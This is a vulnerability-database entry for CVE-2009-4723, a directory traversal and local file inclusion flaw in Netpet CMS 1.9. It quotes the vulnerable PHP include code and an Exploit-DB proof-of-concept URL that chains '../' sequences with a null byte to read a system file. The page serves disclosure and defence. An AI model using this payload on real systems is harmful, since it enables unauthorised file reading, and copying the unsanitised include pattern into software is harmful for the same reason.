CVE-2009-4723

high

Published 2010-03-18 · Modified 2026-04-29

💬 Discuss on Community ✚ Propose mitigation

CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

8.5

Description

Directory traversal vulnerability in confirm.php in Netpet CMS 1.9 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the language parameter.

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-9333 webapps php verified text · 1 KB

SirGod · 2009-08-03

Netpet CMS 1.9 - 'confirm.php?language' Local File Inclusion

text exploit Source: Exploit-DB

############################################################################################
[+] Netpet CMS 1.9 (confirm.php language) Local File Inclusion Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
############################################################################################

[+] Download : http://www.netpet.at/en/downloads

[+] Local File Inclusion

  - Vulnerable code in netpet/confirm.php

------------------------------------------------------------------------
$selLang = $_GET['language'];
if($selLang!=""){
	include $netpetfolder."netpet/languages/".$selLang.".lang.php";
------------------------------------------------------------------------

  - PoC

   http://127.0.0.1/[path]/netpet/confirm.php?language=../../../../../../../boot.ini%00

############################################################################################

# milw0rm.com [2009-08-03]

Application impact

Vendor	Product	Versions	Fixed
netpet	netpet_cms	`1.9`

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.